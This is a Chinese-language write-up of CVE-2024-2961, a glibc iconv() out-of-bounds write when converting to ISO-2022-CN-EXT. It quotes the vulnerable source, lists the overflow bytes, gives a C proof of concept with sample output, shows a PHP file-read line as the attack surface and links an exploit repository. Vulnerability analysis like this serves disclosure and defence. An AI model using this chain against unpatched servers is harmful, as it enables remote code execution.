CVE-2024-2961 glibc API Bug 利用
iconv()API
当PHP调用iconv的时候会调用Glibc 的APi 这个api的如下:
iconv_t iconv_open(const char *tocode, const char *fromcode);
然后,您可以使用iconv()将输入缓冲区转换为输出缓冲区inbuf中的新字符集。outbuf
size_t iconv(iconv_t cd, char **restrict inbuf, size_t *restrict inbytesleft, char **restrict outbuf, size_t *restrict outbytesleft);
如果输出缓冲区不够大,iconv()将返回一个错误来
并且您将能够重新分配outbuf并通过再次调用继续转换iconv()。
该函数保证它永远不会从 读取超过inbytesleft字节inbuf,也不会向 写入超过outbytesleft字节outbuf
转换为 ISO-2022-CN-EXT 时发生越界写入
碰巧的是,在将数据转换为ISO-2022-CN-EXT字符集时,
iconv可能无法在写入之前检查输出缓冲区中是否有足够的空间。
实际上,ISO-2022-CN-EXT它实际上是一个字符集的集合:当它需要对一个字符进行编码时,它会选择适当的字符集,并发出一个转义序列来指示解码器需要切换到这样的字符集。
下面的代码是负责发出此类转义序列的部分。
它由 3 个if块组成,每个块将不同的转义序列写入outbuf(指向outptr)。
如果你看第一个([1]),你会看到它以另一个块为前缀,
if()该块检查输出缓冲区是否足够大以容纳 4 个字符。
其他两个if()([2][3])没有。因此,转义序列可能会越界写入。
// iconvdata/iso-2022-cn-ext.c
/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;
if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}
assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
}
为了触发该漏洞,我们需要iconv()在输出缓冲区结束之前强制发出转义序列。为此,我们可以使用奇异字符,例如:劄、䂚或。结果是 1 到 3 个字节的溢出,具有以下值:峛湿
- $*H[24 2A 48]
- $+I[24 2B 49]
- $+J[24 2B 4A]
- $+K[24 2B 4B]
- $+L[24 2B 4C]
- $+M[24 2B 4D]
一个简单的POC演示了这个错误
/*
$ gcc -o poc ./poc.c && ./poc
*/
...
void hexdump(void *ptr, int buflen)
{
...
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}
执行 出现后面的垃圾字符说明漏洞存在。
$ gcc -o poc ./poc.c && ./poc Remaining bytes (should be 0): -1 000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....
PHP 中的利用ICONV 代码执行
php 可以调用到iconv 就是文件读取的时候。例如file_get_contents
<?php echo file_get_contents($_POST["file"]) ?>
Pyaload :https://github.com/weaweawe01/cnext-exploits
Glibc 的系统列表 大多都系统都是支持的。如果没有更新过glibc 应该都是可以利用的
原文:
https://www.ambionics.io/blog/iconv-cve-2024-2961-p1



